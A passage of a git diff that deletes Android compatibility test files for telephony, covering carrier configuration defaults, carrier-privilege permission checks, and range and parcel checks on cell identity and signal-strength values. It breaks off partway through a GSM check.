diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
deleted file mode 100644
index e1854cc..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.os.PersistableBundle;
-import android.telephony.CarrierConfigManager;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-
-public class CarrierConfigManagerTest extends AndroidTestCase {
-    private CarrierConfigManager mConfigManager;
-    private TelephonyManager mTelephonyManager;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTelephonyManager = (TelephonyManager)
-                getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mConfigManager = (CarrierConfigManager)
-                getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
-    }
-
-    /**
-     * Checks whether the telephony stack should be running on this device.
-     *
-     * Note: "Telephony" means only SMS/MMS and voice calls in some contexts, but we also care if
-     * the device supports cellular data.
-     */
-    private boolean hasTelephony() {
-        ConnectivityManager mgr =
-                (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        return mgr.isNetworkSupported(ConnectivityManager.TYPE_MOBILE);
-    }
-
-    private boolean isSimCardPresent() {
-        return mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE &&
-                mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
-    }
-
-    private boolean isSimCardAbsent() {
-        return mTelephonyManager.getSimState() == TelephonyManager.SIM_STATE_ABSENT;
-    }
-
-    private void checkConfig(PersistableBundle config) {
-        if (config == null) {
-            assertFalse("Config should only be null when telephony is not running.", hasTelephony());
-            return;
-        }
-        assertNotNull("CarrierConfigManager should not return null config", config);
-        if (isSimCardAbsent()) {
-            // Static default in CarrierConfigManager will be returned when no sim card present.
-            assertEquals("Config doesn't match static default.",
-                    config.getBoolean(CarrierConfigManager.KEY_ADDITIONAL_CALL_SETTING_BOOL), true);
-
-            assertEquals("KEY_VVM_DESTINATION_NUMBER_STRING doesn't match static default.",
-                config.getString(CarrierConfigManager.KEY_VVM_DESTINATION_NUMBER_STRING), "");
-            assertEquals("KEY_VVM_PORT_NUMBER_INT doesn't match static default.",
-                config.getInt(CarrierConfigManager.KEY_VVM_PORT_NUMBER_INT), 0);
-            assertEquals("KEY_VVM_TYPE_STRING doesn't match static default.",
-                config.getString(CarrierConfigManager.KEY_VVM_TYPE_STRING), "");
-            assertEquals("KEY_VVM_CELLULAR_DATA_REQUIRED_BOOLEAN doesn't match static default.",
-                config.getBoolean(CarrierConfigManager.KEY_VVM_CELLULAR_DATA_REQUIRED_BOOL),
-                false);
-            assertEquals("KEY_VVM_PREFETCH_BOOLEAN doesn't match static default.",
-                config.getBoolean(CarrierConfigManager.KEY_VVM_PREFETCH_BOOL), true);
-            assertEquals("KEY_CARRIER_VVM_PACKAGE_NAME_STRING doesn't match static default.",
-                config.getString(CarrierConfigManager.KEY_CARRIER_VVM_PACKAGE_NAME_STRING), "");
-            assertFalse(CarrierConfigManager.isConfigForIdentifiedCarrier(config));
-        }
-    }
-
-    public void testGetConfig() {
-        PersistableBundle config = mConfigManager.getConfig();
-        checkConfig(config);
-    }
-
-    public void testGetConfigForSubId() {
-        PersistableBundle config =
-                mConfigManager.getConfigForSubId(SubscriptionManager.getDefaultSubscriptionId());
-        checkConfig(config);
-    }
-
-    /**
-     * Tests the CarrierConfigManager.notifyConfigChangedForSubId() API. This makes a call to
-     * notifyConfigChangedForSubId() API and expects a SecurityException since the test apk is not signed
-     * by certificate on the SIM.
-     */
-    public void testNotifyConfigChangedForSubId() {
-        try {
-            if (isSimCardPresent()) {
-                mConfigManager.notifyConfigChangedForSubId(
-                        SubscriptionManager.getDefaultSubscriptionId());
-                fail("Expected SecurityException. App doesn't have carrier privileges.");
-            }
-        } catch (SecurityException expected) {
-        }
-    }
-
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierServiceTest.java
deleted file mode 100644
index 492f8ff..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierServiceTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.content.Intent;
-import android.os.PersistableBundle;
-import android.service.carrier.CarrierIdentifier;
-import android.service.carrier.CarrierService;
-import android.test.ServiceTestCase;
-
-public class CarrierServiceTest extends ServiceTestCase<CarrierServiceTest.TestCarrierService> {
-    public CarrierServiceTest() { super(TestCarrierService.class); }
-
-    public void testNotifyCarrierNetworkChange_true() {
-        notifyCarrierNetworkChange(true);
-    }
-
-    public void testNotifyCarrierNetworkChange_false() {
-        notifyCarrierNetworkChange(false);
-    }
-
-    private void notifyCarrierNetworkChange(boolean active) {
-        Intent intent = new Intent(getContext(), TestCarrierService.class);
-        startService(intent);
-
-        try {
-            getService().notifyCarrierNetworkChange(active);
-            fail("Expected SecurityException for notifyCarrierNetworkChange(" + active + ")");
-        } catch (SecurityException e) { /* Expected */ }
-    }
-
-    public static class TestCarrierService extends CarrierService {
-        @Override
-        public PersistableBundle onLoadConfig(CarrierIdentifier id) { return null; }
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
deleted file mode 100644
index ef7f453..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ /dev/null
@@ -1,639 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.telephony.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.os.Parcel;
-import android.telephony.CellIdentityCdma;
-import android.telephony.CellIdentityGsm;
-import android.telephony.CellIdentityLte;
-import android.telephony.CellIdentityWcdma;
-import android.telephony.CellInfo;
-import android.telephony.CellInfoCdma;
-import android.telephony.CellInfoGsm;
-import android.telephony.CellInfoLte;
-import android.telephony.CellInfoWcdma;
-import android.telephony.CellSignalStrengthCdma;
-import android.telephony.CellSignalStrengthGsm;
-import android.telephony.CellSignalStrengthLte;
-import android.telephony.CellSignalStrengthWcdma;
-import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-
-import java.util.List;
-import java.util.Objects;
-
-/**
- * Test TelephonyManager.getAllCellInfo()
- * <p>
- * TODO(chesnutt): test onCellInfoChanged() once the implementation
- * of async callbacks is complete (see http://b/13788638)
- */
-public class CellInfoTest extends AndroidTestCase{
-    private final Object mLock = new Object();
-    private TelephonyManager mTelephonyManager;
-    private static ConnectivityManager mCm;
-    private static final String TAG = "android.telephony.cts.CellInfoTest";
-    // Maximum and minimum possible RSSI values(in dbm).
-    private static final int MAX_RSSI = -10;
-    private static final int MIN_RSSI = -150;
-    // Maximum and minimum possible RSSP values(in dbm).
-    private static final int MAX_RSRP = -44;
-    private static final int MIN_RSRP = -140;
-    // Maximum and minimum possible RSSQ values.
-    private static final int MAX_RSRQ = -3;
-    private static final int MIN_RSRQ = -35;
-    // Maximum and minimum possible RSSNR values.
-    private static final int MAX_RSSNR = 50;
-    private static final int MIN_RSSNR = 0;
-    // Maximum and minimum possible CQI values.
-    private static final int MAX_CQI = 30;
-    private static final int MIN_CQI = 0;
-
-    // The followings are parameters for testing CellIdentityCdma
-    // Network Id ranges from 0 to 65535.
-    private static final int NETWORK_ID  = 65535;
-    // CDMA System Id ranges from 0 to 32767
-    private static final int SYSTEM_ID = 32767;
-    // Base Station Id ranges from 0 to 65535
-    private static final int BASESTATION_ID = 65535;
-    // Longitude ranges from -2592000 to 2592000.
-    private static final int LONGITUDE = 2592000;
-    // Latitude ranges from -1296000 to 1296000.
-    private static final int LATITUDE = 1296000;
-    // Cell identity ranges from 0 to 268435456.
-
-    // The followings are parameters for testing CellIdentityLte
-    private static final int CI = 268435456;
-    // Physical cell id ranges from 0 to 503.
-    private static final int PCI = 503;
-    // Tracking area code ranges from 0 to 65535.
-    private static final int TAC = 65535;
-    // Absolute RF Channel Number ranges from 0 to 262140.
-    private static final int EARFCN = 47000;
-    private static final int BANDWIDTH_LOW = 1400;  // kHz
-    private static final int BANDWIDTH_HIGH = 20000;  // kHz
-
-    // The followings are parameters for testing CellIdentityWcdma
-    // Location Area Code ranges from 0 to 65535.
-    private static final int LAC = 65535;
-    // UMTS Cell Identity ranges from 0 to 268435455.
-    private static final int CID_UMTS = 268435455;
-    // Primary Scrambling Coderanges from 0 to 511.
-    private static final int PSC = 511;
-
-    // The followings are parameters for testing CellIdentityGsm
-    // GSM Cell Identity ranges from 0 to 65535.
-    private static final int CID_GSM = 65535;
-    // GSM Absolute RF Channel Number ranges from 0 to 65535.
-    private static final int ARFCN = 1024;
-
-    // 3gpp 36.101 Sec 5.7.2
-    private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
-
-    private PackageManager mPm;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTelephonyManager =
-                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        mPm = getContext().getPackageManager();
-    }
-
-    public void testCellInfo() throws Throwable {
-
-        if(! (mPm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))) {
-            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
-            return;
-        }
-
-        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
-            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
-            return;
-        }
-
-        // getAllCellInfo should never return null, and there should
-        // be at least one entry.
-        List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
-        assertNotNull("TelephonyManager.getAllCellInfo() returned NULL!", allCellInfo);
-        assertTrue("TelephonyManager.getAllCellInfo() returned zero-length list!",
-            allCellInfo.size() > 0);
-
-        int numRegisteredCells = 0;
-        for (CellInfo cellInfo : allCellInfo) {
-            if (cellInfo.isRegistered()) {
-                ++numRegisteredCells;
-            }
-            if (cellInfo instanceof CellInfoLte) {
-                verifyLteInfo((CellInfoLte) cellInfo);
-            } else if (cellInfo instanceof CellInfoWcdma) {
-                verifyWcdmaInfo((CellInfoWcdma) cellInfo);
-            } else if (cellInfo instanceof CellInfoGsm) {
-                verifyGsmInfo((CellInfoGsm) cellInfo);
-            } else if (cellInfo instanceof CellInfoCdma) {
-                verifyCdmaInfo((CellInfoCdma) cellInfo);
-            }
-        }
-
-        //FIXME: The maximum needs to be calculated based on the number of
-        //       radios and the technologies used (ex SRLTE); however, we have
-        //       not hit any of these cases yet.
-        assertTrue("None or too many registered cells : " + numRegisteredCells,
-                numRegisteredCells > 0 && numRegisteredCells <= 2);
-    }
-
-    private void verifyCdmaInfo(CellInfoCdma cdma) {
-        verifyCellConnectionStatus(cdma.getCellConnectionStatus());
-        verifyCellInfoCdmaParcelandHashcode(cdma);
-        verifyCellIdentityCdma(cdma.getCellIdentity());
-        verifyCellIdentityCdmaParcel(cdma.getCellIdentity());
-        verifyCellSignalStrengthCdma(cdma.getCellSignalStrength());
-        verifyCellSignalStrengthCdmaParcel(cdma.getCellSignalStrength());
-    }
-
-    private void verifyCellInfoCdmaParcelandHashcode(CellInfoCdma cdma) {
-        Parcel p = Parcel.obtain();
-        cdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellInfoCdma newCi = CellInfoCdma.CREATOR.createFromParcel(p);
-        assertTrue(cdma.equals(newCi));
-        assertEquals("hashCode() did not get right hasdCode", cdma.hashCode(), newCi.hashCode());
-    }
-
-    private void verifyCellIdentityCdma(CellIdentityCdma cdma) {
-        String alphaLong = (String) cdma.getOperatorAlphaLong();
-        assertNotNull("getOperatorAlphaLong() returns NULL!", alphaLong);
-
-        String alphaShort = (String) cdma.getOperatorAlphaShort();
-        assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
-
-        int networkId = cdma.getNetworkId();
-        assertTrue("getNetworkId() out of range [0,65535], networkId=" + networkId,
-                networkId == Integer.MAX_VALUE || (networkId >= 0 && networkId <= NETWORK_ID));
-
-        int systemId = cdma.getSystemId();
-        assertTrue("getSystemId() out of range [0,32767], systemId=" + systemId,
-                systemId == Integer.MAX_VALUE || (systemId >= 0 && systemId <= SYSTEM_ID));
-
-        int basestationId = cdma.getBasestationId();
-        assertTrue("getBasestationId() out of range [0,65535], basestationId=" + basestationId,
-                basestationId == Integer.MAX_VALUE || (basestationId >= 0 && basestationId <= BASESTATION_ID));
-
-        int longitude = cdma.getLongitude();
-        assertTrue("getLongitude() out of range [-2592000,2592000], longitude=" + longitude,
-                longitude == Integer.MAX_VALUE || (longitude >= -LONGITUDE && longitude <= LONGITUDE));
-
-        int latitude = cdma.getLatitude();
-        assertTrue("getLatitude() out of range [-1296000,1296000], latitude=" + latitude,
-                latitude == Integer.MAX_VALUE || (latitude >= -LATITUDE && latitude <= LATITUDE));
-    }
-
-    private void verifyCellIdentityCdmaParcel(CellIdentityCdma cdma) {
-        Parcel p = Parcel.obtain();
-        cdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellIdentityCdma newCi = CellIdentityCdma.CREATOR.createFromParcel(p);
-        assertTrue(cdma.equals(newCi));
-    }
-
-    private void verifyCellSignalStrengthCdma(CellSignalStrengthCdma cdma) {
-        int level = cdma.getLevel();
-        assertTrue("getLevel() out of range [0,4], level=" + level,
-                level >= 0 && level <= 4);
-
-        int asuLevel = cdma.getAsuLevel();
-        assertTrue("getAsuLevel() out of range [0,97] (or 99 is unknown), asuLevel=" + asuLevel,
-                asuLevel == 99 || (asuLevel >= 0 && asuLevel <= 97));
-
-        int cdmaLevel = cdma.getCdmaLevel();
-        assertTrue("getCdmaLevel() out of range [0,4], cdmaLevel=" + cdmaLevel,
-                cdmaLevel >= 0 && cdmaLevel <= 4);
-
-        int evdoLevel = cdma.getEvdoLevel();
-        assertTrue("getEvdoLevel() out of range [0,4], evdoLevel=" + evdoLevel,
-                evdoLevel >= 0 && evdoLevel <= 4);
-
-        // The following four fields do not have specific limits. So just calling to verify that
-        // they don't crash the phone.
-        int cdmaDbm = cdma.getCdmaDbm();
-        int evdoDbm = cdma.getEvdoDbm();
-        cdma.getCdmaEcio();
-        cdma.getEvdoEcio();
-
-        int dbm = (cdmaDbm < evdoDbm) ? cdmaDbm : evdoDbm;
-        assertEquals("getDbm() did not get correct value", dbm, cdma.getDbm());
-
-        int evdoSnr = cdma.getEvdoSnr();
-        assertTrue("getEvdoSnr() out of range [0,8], evdoSnr=" + evdoSnr,
-                (evdoSnr == Integer.MAX_VALUE) || (evdoSnr >= 0 && evdoSnr <= 8));
-    }
-
-    private void verifyCellSignalStrengthCdmaParcel(CellSignalStrengthCdma cdma) {
-        Parcel p = Parcel.obtain();
-        cdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellSignalStrengthCdma newCss = CellSignalStrengthCdma.CREATOR.createFromParcel(p);
-        assertEquals(cdma, newCss);
-    }
-
-    // Verify lte cell information is within correct range.
-    private void verifyLteInfo(CellInfoLte lte) {
-        verifyCellConnectionStatus(lte.getCellConnectionStatus());
-        verifyCellInfoLteParcelandHashcode(lte);
-        verifyCellIdentityLte(lte.getCellIdentity());
-        verifyCellIdentityLteParcel(lte.getCellIdentity());
-        verifyCellSignalStrengthLte(lte.getCellSignalStrength());
-        verifyCellSignalStrengthLteParcel(lte.getCellSignalStrength());
-    }
-
-    private void verifyCellInfoLteParcelandHashcode(CellInfoLte lte) {
-        Parcel p = Parcel.obtain();
-        lte.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellInfoLte newCi = CellInfoLte.CREATOR.createFromParcel(p);
-        assertTrue(lte.equals(newCi));
-        assertEquals("hashCode() did not get right hasdCode", lte.hashCode(), newCi.hashCode());
-    }
-
-
-    private void verifyCellIdentityLte(CellIdentityLte lte) {
-        int mcc = lte.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-
-        int mnc = lte.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
-
-        // Cell identity ranges from 0 to 268435456.
-        int ci = lte.getCi();
-        assertTrue("getCi() out of range [0,268435456], ci=" + ci,
-                (ci == Integer.MAX_VALUE) || (ci >= 0 && ci <= CI));
-
-        // Verify LTE physical cell id information.
-        // Only physical cell id is available for LTE neighbor.
-        int pci = lte.getPci();
-        // Physical cell id should be within [0, 503].
-        assertTrue("getPci() out of range [0, 503], pci=" + pci,
-                (pci== Integer.MAX_VALUE) || (pci >= 0 && pci <= PCI));
-
-        // Tracking area code ranges from 0 to 65535.
-        int tac = lte.getTac();
-        assertTrue("getTac() out of range [0,65535], tac=" + tac,
-                (tac == Integer.MAX_VALUE) || (tac >= 0 && tac <= TAC));
-
-        int bw = lte.getBandwidth();
-        assertTrue("getBandwidth out of range [1400, 20000] | Integer.Max_Value, bw=",
-                bw == Integer.MAX_VALUE || bw >= BANDWIDTH_LOW && bw <= BANDWIDTH_HIGH);
-
-        int earfcn = lte.getEarfcn();
-        // Reference 3GPP 36.101 Table 5.7.3-1
-        // As per NOTE 1 in the table, although 0-6 are valid channel numbers for
-        // LTE, the reported EARFCN is the center frequency, rendering these channels
-        // out of the range of the narrowest 1.4Mhz deployment.
-        int minEarfcn = 7;
-        if (bw != Integer.MAX_VALUE) {
-            // The number of channels used by a cell is equal to the cell bandwidth divided
-            // by the channel raster (bandwidth of a channel). The center channel is the channel
-            // the n/2-th channel where n is the number of channels, and since it is the center
-            // channel that is reported as the channel number for a cell, we can exclude any channel
-            // numbers within a band that would place the bottom of a cell's bandwidth below the
-            // edge of the band. For channel numbers in Band 1, the EARFCN numbering starts from
-            // channel 0, which means that we can exclude from the valid range channels starting
-            // from 0 and numbered less than half the total number of channels occupied by a cell.
-            minEarfcn = bw / CHANNEL_RASTER_EUTRAN / 2;
-        }
-        assertTrue("getEarfcn() out of range [7,47000], earfcn=" + earfcn,
-                earfcn == Integer.MAX_VALUE || (earfcn >= minEarfcn && earfcn <= EARFCN));
-
-        String mccStr = lte.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-
-        String mncStr = lte.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
-
-        String mobileNetworkOperator = lte.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
-        String alphaLong = (String) lte.getOperatorAlphaLong();
-        assertNotNull("getOperatorAlphaLong() returns NULL!", alphaLong);
-
-        String alphaShort = (String) lte.getOperatorAlphaShort();
-        assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
-    }
-
-    private void verifyCellIdentityLteParcel(CellIdentityLte lte) {
-        Parcel p = Parcel.obtain();
-        lte.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellIdentityLte newci = CellIdentityLte.CREATOR.createFromParcel(p);
-        assertEquals(lte, newci);
-    }
-
-    private void verifyCellSignalStrengthLte(CellSignalStrengthLte cellSignalStrengthLte) {
-        verifyRssiDbm(cellSignalStrengthLte.getDbm());
-
-        //Integer.MAX_VALUE indicates an unavailable field
-        int rsrp = cellSignalStrengthLte.getRsrp();
-        // RSRP is being treated as RSSI in LTE (they are similar but not quite right)
-        // so reusing the constants here.
-        assertTrue("getRsrp() out of range, rsrp=" + rsrp, rsrp >= MIN_RSRP && rsrp <= MAX_RSRP);
-
-        int rsrq = cellSignalStrengthLte.getRsrq();
-        assertTrue("getRsrq() out of range | Integer.MAX_VALUE, rsrq=" + rsrq,
-            rsrq == Integer.MAX_VALUE || (rsrq >= MIN_RSRQ && rsrq <= MAX_RSRQ));
-
-        int rssnr = cellSignalStrengthLte.getRssnr();
-        assertTrue("getRssnr() out of range | Integer.MAX_VALUE, rssnr=" + rssnr,
-            rssnr == Integer.MAX_VALUE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
-
-        int cqi = cellSignalStrengthLte.getCqi();
-        assertTrue("getCqi() out of range | Integer.MAX_VALUE, cqi=" + cqi,
-            cqi == Integer.MAX_VALUE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
-
-        int ta = cellSignalStrengthLte.getTimingAdvance();
-        assertTrue("getTimingAdvance() invalid [0-1282] | Integer.MAX_VALUE, ta=" + ta,
-                ta == Integer.MAX_VALUE || (ta >= 0 && ta <=1282));
-
-        int level = cellSignalStrengthLte.getLevel();
-        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
-
-        int asuLevel = cellSignalStrengthLte.getAsuLevel();
-        assertTrue("getAsuLevel() out of range [0,97] (or 99 is unknown), asuLevel=" + asuLevel,
-                (asuLevel == 99) || (asuLevel >= 0 && asuLevel <= 97));
-
-        int timingAdvance = cellSignalStrengthLte.getTimingAdvance();
-        assertTrue("getTimingAdvance() out of range [0,1282], timingAdvance=" + timingAdvance,
-                timingAdvance == Integer.MAX_VALUE || (timingAdvance >= 0 && timingAdvance <= 1282));
-    }
-
-    private void verifyCellSignalStrengthLteParcel(CellSignalStrengthLte cellSignalStrengthLte) {
-        Parcel p = Parcel.obtain();
-        cellSignalStrengthLte.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellSignalStrengthLte newCss = CellSignalStrengthLte.CREATOR.createFromParcel(p);
-        assertEquals(cellSignalStrengthLte, newCss);
-    }
-
-    // Verify wcdma cell information is within correct range.
-    private void verifyWcdmaInfo(CellInfoWcdma wcdma) {
-        verifyCellConnectionStatus(wcdma.getCellConnectionStatus());
-        verifyCellInfoWcdmaParcelandHashcode(wcdma);
-        verifyCellIdentityWcdma(wcdma.getCellIdentity());
-        verifyCellIdentityWcdmaParcel(wcdma.getCellIdentity());
-        verifyCellSignalStrengthWcdma(wcdma.getCellSignalStrength());
-        verifyCellSignalStrengthWcdmaParcel(wcdma.getCellSignalStrength());
-    }
-
-    private void verifyCellInfoWcdmaParcelandHashcode(CellInfoWcdma wcdma) {
-        Parcel p = Parcel.obtain();
-        wcdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellInfoWcdma newCi = CellInfoWcdma.CREATOR.createFromParcel(p);
-        assertTrue(wcdma.equals(newCi));
-        assertEquals("hashCode() did not get right hasdCode", wcdma.hashCode(), newCi.hashCode());
-    }
-
-    private void verifyCellIdentityWcdma(CellIdentityWcdma wcdma) {
-        int mcc = wcdma.getMcc();
-        // getMcc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMcc() out of range [0, 999], mcc=" + mcc,
-                (mcc >= 0 && mcc <= 999) || mcc == Integer.MAX_VALUE);
-
-        int mnc = wcdma.getMnc();
-        // getMnc() returns Integer.MAX_VALUE if mccStr is null.
-        assertTrue("getMnc() out of range [0, 999], mnc=" + mnc,
-                (mnc >= 0 && mnc <= 999) || mnc == Integer.MAX_VALUE);
-
-        int lac = wcdma.getLac();
-        assertTrue("getLac() out of range [0, 65535], lac=" + lac,
-                (lac >= 0 && lac <= LAC) || lac == Integer.MAX_VALUE);
-
-        int cid = wcdma.getCid();
-        assertTrue("getCid() out of range [0, 268435455], cid=" + cid,
-                (cid >= 0 && cid <= CID_UMTS) || cid == Integer.MAX_VALUE);
-
-        // Verify wcdma primary scrambling code information.
-        // Primary scrambling code should be within [0, 511].
-        int psc = wcdma.getPsc();
-        assertTrue("getPsc() out of range [0, 511], psc=" + psc,
-                (psc >= 0 && psc <= PSC) || psc == Integer.MAX_VALUE);
-
-        String mccStr = wcdma.getMccString();
-        // mccStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMccString() out of range [0, 999], mcc=" + mccStr,
-                mccStr == null || mccStr.matches("^[0-9]{3}$"));
-
-        String mncStr = wcdma.getMncString();
-        // mncStr is set as NULL if empty, unknown or invalid.
-        assertTrue("getMncString() out of range [0, 999], mnc=" + mncStr,
-                mncStr == null || mncStr.matches("^[0-9]{2,3}$"));
-
-        String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
-        int uarfcn = wcdma.getUarfcn();
-        // Reference 3GPP 25.101 Table 5.2
-        // From Appendix E.1, even though UARFCN is numbered from 400, the minumum
-        // usable channel is 412 due to the fixed bandwidth of 5Mhz
-        assertTrue("getUarfcn() out of range [412,11000], uarfcn=" + uarfcn,
-                uarfcn >= 412 && uarfcn <= 11000);
-
-        String alphaLong = (String) wcdma.getOperatorAlphaLong();
-        assertNotNull("getOperatorAlphaLong() returns NULL!", alphaLong);
-
-        String alphaShort = (String) wcdma.getOperatorAlphaShort();
-        assertNotNull("getOperatorAlphaShort() returns NULL!", alphaShort);
-    }
-
-    private void verifyCellIdentityWcdmaParcel(CellIdentityWcdma wcdma) {
-        Parcel p = Parcel.obtain();
-        wcdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellIdentityWcdma newci = CellIdentityWcdma.CREATOR.createFromParcel(p);
-        assertEquals(wcdma, newci);
-    }
-
-    private void verifyCellSignalStrengthWcdma(CellSignalStrengthWcdma wcdma) {
-        verifyRssiDbm(wcdma.getDbm());
-
-        // Dbm here does not have specific limits. So just calling to verify that it does not crash
-        // the phone
-        wcdma.getDbm();
-
-        int asuLevel = wcdma.getAsuLevel();
-        assertTrue("getLevel() out of range [0,31] (or 99 is unknown), level=" + asuLevel,
-                asuLevel == 99 || (asuLevel >= 0 && asuLevel <= 31));
-
-        int level = wcdma.getLevel();
-        assertTrue("getLevel() out of range [0,4], level=" + level, level >= 0 && level <= 4);
-    }
-
-    private void verifyCellSignalStrengthWcdmaParcel(CellSignalStrengthWcdma wcdma) {
-        Parcel p = Parcel.obtain();
-        wcdma.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellSignalStrengthWcdma newCss = CellSignalStrengthWcdma.CREATOR.createFromParcel(p);
-        assertEquals(wcdma, newCss);
-    }
-
-    // Verify gsm cell information is within correct range.
-    private void verifyGsmInfo(CellInfoGsm gsm) {
-        verifyCellConnectionStatus(gsm.getCellConnectionStatus());
-        verifyCellInfoWcdmaParcelandHashcode(gsm);
-        verifyCellIdentityGsm(gsm.getCellIdentity());
-        verifyCellIdentityGsmParcel(gsm.getCellIdentity());
-        verifyCellSignalStrengthGsm(gsm.getCellSignalStrength());
-        verifyCellSignalStrengthGsmParcel(gsm.getCellSignalStrength());
-    }
-
-    private void verifyCellInfoWcdmaParcelandHashcode(CellInfoGsm gsm) {
-        Parcel p = Parcel.obtain();
-        gsm.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        CellInfoGsm newCi = CellInfoGsm.CREATOR.createFromParcel(p);
-        assertTrue(gsm.equals(newCi));
-        assertEquals("hashCode() did not get right hasdCode", gsm.hashCode(), newCi.hashCode());
-    }
-
-    private void verifyCellIdentityGsm(CellIdentityGsm gsm) {
-        // Local area code and cellid should be with [0, 65535].
-        int lac = gsm.getLac();
-        assertTrue("getLac() out of range [0, 65535], lac=" + lac,
-                lac == Integer.MAX_VALUE || (lac >= 0 && lac <= LAC));
-        int cid = gsm.getCid();
-        assertTrue("getCid() out range [0, 65535], cid=" + cid,
-                cid== Integer.MAX_VALUE || (cid >= 0 && cid <= CID_GSM));
-
-        int arfcn = gsm.getArfcn();
-        // Reference 3GPP 45.005 Table 2-2
-        assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
